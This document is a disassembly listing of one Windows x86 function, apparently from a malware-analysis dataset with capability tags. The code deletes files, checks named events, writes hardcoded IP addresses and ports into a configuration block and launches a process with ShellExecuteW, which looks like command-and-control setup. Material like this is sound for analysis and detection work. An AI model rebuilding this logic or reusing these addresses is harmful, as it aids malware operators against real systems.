Function at 0x401565
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc7c
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0xc78], eax
push ebx
push esi
push edi
xor eax, eax
xor esi, esi
mov edi, 0x206
push edi
mov word [esp + 0x66c], ax
lea eax, [esp + 0x66e]
push esi
push eax
mov ebx, ecx
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
call fcn.004155b0
add esp, 0xc
xor eax, eax
push edi
mov word [esp + 0x25c], ax
lea eax, [esp + 0x25e]
push esi
push eax
call fcn.004155b0
add esp, 0xc
xor eax, eax
push edi
mov word [esp + 0xa7c], ax
lea eax, [esp + 0xa7e]
push esi
push eax
call fcn.004155b0
add esp, 0xc
lea esi, [ebx + 0x5ac]
push esi
lea eax, [esp + 0xa7c]
push 0x104
push eax
call fcn.004138ba
add esp, 0xc
push str.HGDraw.dll
lea eax, [esp + 0xa7c]
push 0x104
push eax
call fcn.00413190
add esp, 0xc
lea eax, [esp + 0xa78]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
mov ecx, ebx
call fcn.0040109c
mov dword [esp + 0x1c], eax
test eax, eax
je 0x401873
push esi
mov esi, 0x104
lea eax, [esp + 0x66c]
push esi
push eax
call fcn.004138ba
add esp, 0xc
lea eax, [ebx + 0x18c]
push eax
lea eax, [esp + 0x66c]
push esi
push eax
call fcn.00413190
add esp, 0xc
push 0x42c8c0
lea eax, [esp + 0x66c]
push esi
push eax
call fcn.00413190
add esp, 0xc
lea eax, [esp + 0x668]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea esi, [ebx + 0x1ac]
push esi
lea eax, [ebx + 0x58c]
push 0x10
push eax
call fcn.004138ba
add esp, 0xc
push ebx
lea edi, [esp + 0x25c]
call fcn.004013c2
mov edx, esi
mov ecx, ebx
call fcn.00401d02
cmp eax, 1
je 0x401ce9
xor eax, eax
mov edi, 0x206
push edi
push eax
mov word [esp + 0x878], ax
lea eax, [esp + 0x87a]
push eax
call fcn.004155b0
add esp, 0xc
xor eax, eax
push edi
push eax
mov word [esp + 0x28], ax
lea eax, [esp + 0x2a]
push eax
call fcn.004155b0
lea edx, [esp + 0x87c]
add esp, 0xc
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40170c
lea ecx, [esp + 0x20]
sub ecx, esi
movzx eax, word [esi]
mov word [ecx + esi], ax
inc esi
inc esi
test ax, ax
jne 0x401720
lea edi, [esp + 0x20]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x401734
mov esi, 0x42c8cc
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x870]
push eax
movsd dword es:[edi], dword [esi]
push 0
push 0x20000
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x4017bc
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
lea eax, [esp + 0x20]
push eax
xor edi, edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea eax, [esp + 0x870]
push eax
mov dword [esp + 0x10], edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
jmp 0x4017b1
cmp dword [esp + 0xc], 5
jge 0x4017bc
push eax
call esi
inc dword [esp + 0xc]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x870]
push eax
push 0
push 0x20000
call edi
test eax, eax
jne 0x40178e
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebx + 8]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x488]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4017e2
lea eax, [ebx + 0x8a]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x408]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401800
lea eax, [ebx + 0xaa]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x50a]
movzx ecx, word [eax]
mov word [eax + edx], cx
inc eax
inc eax
test cx, cx
jne 0x40181e
mov ax, word [ebx + 0x88]
mov word [ebx + 0x508], ax
mov ax, word [ebx + 0x12a]
mov word [ebx + 0x58a], ax
mov eax, dword [ebx + 0x1cc]
mov dword [ebx + 0x404], eax
lea eax, [ebx + 0x18c]
push eax
lea eax, [ebx + 0x9bc]
push 0x10
push eax
call fcn.004138ba
mov edi, 0x206
jmp 0x40191f
push 0x236
lea eax, [esp + 0x24]
push 0
push eax
call fcn.004155b0
add esp, 0xc
lea esi, [esp + 0x20]
call fcn.00402b00
mov dword [esp + 0x18], eax
test eax, eax
je 0x401922
lea eax, [esp + 0x12e]
mov edx, eax
mov ecx, ebx
sub ecx, edx
lea edx, [ecx + 0x408]
movzx ecx, word [eax]
mov word [eax + edx], cx
inc eax
inc eax
test cx, cx
jne 0x4018af
mov ax, word [esp + 0x12a]
mov ecx, dword [esp + 0x126]
mov word [ebx + 0x508], ax
mov ax, word [esp + 0x124]
lea esi, [ebx + 0x488]
mov word [ebx + 0x58a], ax
call fcn.00402f20
mov ecx, dword [esp + 0x120]
lea esi, [ebx + 0x50a]
call fcn.00402f20
lea eax, [esp + 0x14e]
push eax
lea eax, [ebx + 0x58c]
push 0x10
push eax
call fcn.004138ba
mov eax, dword [esp + 0x34]
mov dword [ebx + 0x404], eax
add esp, 0xc
xor eax, eax
push edi
push eax
mov word [esp + 0x468], ax
lea eax, [esp + 0x46a]
push eax
call fcn.004155b0
add esp, 0xc
push 0
mov ecx, ebx
call fcn.0040109c
mov dword [esp + 0xc], eax
mov esi, 0x42c8d8
test eax, eax
je 0x401a1b
mov ecx, ebx
sub ecx, esi
mov eax, esi
lea edx, [ecx + 0x50a]
movzx ecx, word [eax]
mov word [eax + edx], cx
inc eax
inc eax
test cx, cx
jne 0x401964
lea eax, [ebx + 0x28a]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x408]
movzx ecx, word [eax]
mov word [eax + edx], cx
inc eax
inc eax
test cx, cx
jne 0x401982
lea eax, [ebx + 0x208]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x488]
movzx ecx, word [eax]
mov word [eax + edx], cx
inc eax
inc eax
test cx, cx
jne 0x4019a0
cmp dword [ebx], 3
mov ax, word [ebx + 0x288]
mov word [ebx + 0x508], ax
mov ax, word [ebx + 0x32a]
mov word [ebx + 0x58a], ax
lea eax, [esp + 0x460]
mov dword [ebx + 0x404], 5
push eax
jne 0x4019e8
call fcn.00401255
jmp 0x4019f3
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42c7e8
lea eax, [esp + 0x464]
push 0x104
push eax
call fcn.00413190
add esp, 0xc
lea eax, [esp + 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x51
pop eax
lea edi, [ebx + 0xaa]
mov word [ebx + 0x88], ax
mov eax, 0x2b70
mov edx, edi
sub edx, esi
mov word [ebx + 0x12a], ax
mov dword [ebx + 4], 0x504d534d
mov eax, esi
mov dword [esp + 0x10], edx
movzx ecx, word [eax]
mov word [eax + edx], cx
inc eax
inc eax
test cx, cx
jne 0x401a48
mov eax, str.218.54.30.235
lea edx, [ebx + 8]
sub edx, eax
movzx ecx, word [eax]
mov word [eax + edx], cx
inc eax
inc eax
test cx, cx
jne 0x401a60
lea edx, [ebx + 0x8a]
mov eax, str.AAAA
mov esi, edx
sub esi, eax
movzx ecx, word [eax]
mov word [eax + esi], cx
inc eax
inc eax
test cx, cx
jne 0x401a7d
xor eax, eax
mov dword [ebx + 0x1cc], 5
cmp dword [esp + 0x1c], eax
jne 0x401aa9
cmp dword [esp + 0x18], eax
jne 0x401aa9
cmp dword [esp + 0xc], eax
je 0x401b18
lea eax, [ebx + 0x408]
push eax
push 0x10
push edx
call fcn.004138ba
add esp, 0xc
lea eax, [ebx + 0x488]
push eax
lea eax, [ebx + 8]
push 0x40
push eax
call fcn.004138ba
add esp, 0xc
lea eax, [ebx + 0x50a]
push eax
push 0x40
push edi
call fcn.004138ba
mov ax, word [ebx + 0x508]
mov word [ebx + 0x88], ax
mov ax, word [ebx + 0x58a]
mov word [ebx + 0x12a], ax
mov eax, dword [ebx + 0x404]
add esp, 0xc
mov dword [ebx + 0x1cc], eax
test eax, eax
jne 0x401b18
mov dword [ebx + 0x1cc], 5
mov ecx, str.121.88.5.181
lea eax, [ebx + 8]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401b46
test dx, dx
je 0x401b42
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401b46
add eax, 4
add ecx, 4
test dx, dx
jne 0x401b20
xor eax, eax
jmp 0x401b4b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401b67
cmp word [ebx + 0x88], 0x51
jne 0x401b67
mov eax, 0x2b66
cmp word [ebx + 0x12a], ax
je 0x401bb2
mov eax, str.AAAA
movzx ecx, word [eax]
mov word [eax + esi], cx
inc eax
inc eax
test cx, cx
jne 0x401b6c
push 0x51
pop eax
mov word [ebx + 0x88], ax
mov eax, 0x2c24
mov word [ebx + 0x12a], ax
mov eax, str.112.223.217.101
lea edx, [ebx + 8]
mov dword [ebx + 0x1cc], 5
sub edx, eax
movzx ecx, word [eax]
mov word [eax + edx], cx
inc eax
inc eax
test cx, cx
jne 0x401ba4
mov eax, 0x42c8d8
movzx ecx, word [eax]
mov edx, dword [esp + 0x10]
mov word [eax + edx], cx
inc eax
inc eax
test cx, cx
jne 0x401bb7
cmp word [ebx + 8], cx
je 0x401ce9
cmp word [ebx + 0x88], cx
jbe 0x401ce9
lea esi, [ebx + 0x9bc]
mov eax, esi
mov dword [ebx + 4], 0x504d534d
lea edx, [eax + 2]
xor edi, edi
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x401bf4
sub eax, edx
sar eax, 1
je 0x401c27
push esi
push edi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401c27
push esi
lea eax, [ebx + 0x18c]
push 0x10
push eax
call fcn.004138ba
add esp, 0xc
lea eax, [ebx + 0x18c]
cmp word [eax], di
jne 0x401c42
push str.ctfmom
push 0x10
push eax
call fcn.004138ba
add esp, 0xc
lea esi, [ebx + 0x1ac]
cmp word [esi], di
jne 0x401c84
push str.sander
push 0x10
push esi
call fcn.004138ba
lea ecx, [ebx + 0x58c]
mov eax, ecx
add esp, 0xc
lea edi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x401c68
sub eax, edi
sar eax, 1
je 0x401c84
push ecx
push 0x10
push esi
call fcn.004138ba
add esp, 0xc
cmp dword [ebx + 0x1cc], 0
mov dword [ebx + 0x1d0], 0x10002c0
jne 0x401ca1
mov dword [ebx + 0x1cc], 5
push ebx
call fcn.0040127c
test eax, eax
je 0x401ce9
push ebx
lea edi, [esp + 0x25c]
call fcn.004013c2
mov eax, edi
push eax
lea eax, [ebx + 0x7b4]
call fcn.00402fa0
pop ecx
mov ebx, edi
call fcn.00401439
xor esi, esi
inc esi
push esi
xor eax, eax
push eax
push 0x42c80c
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [esp + 0x14], esi
mov ecx, dword [esp + 0xc84]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00413181
mov esp, ebp
pop ebp
ret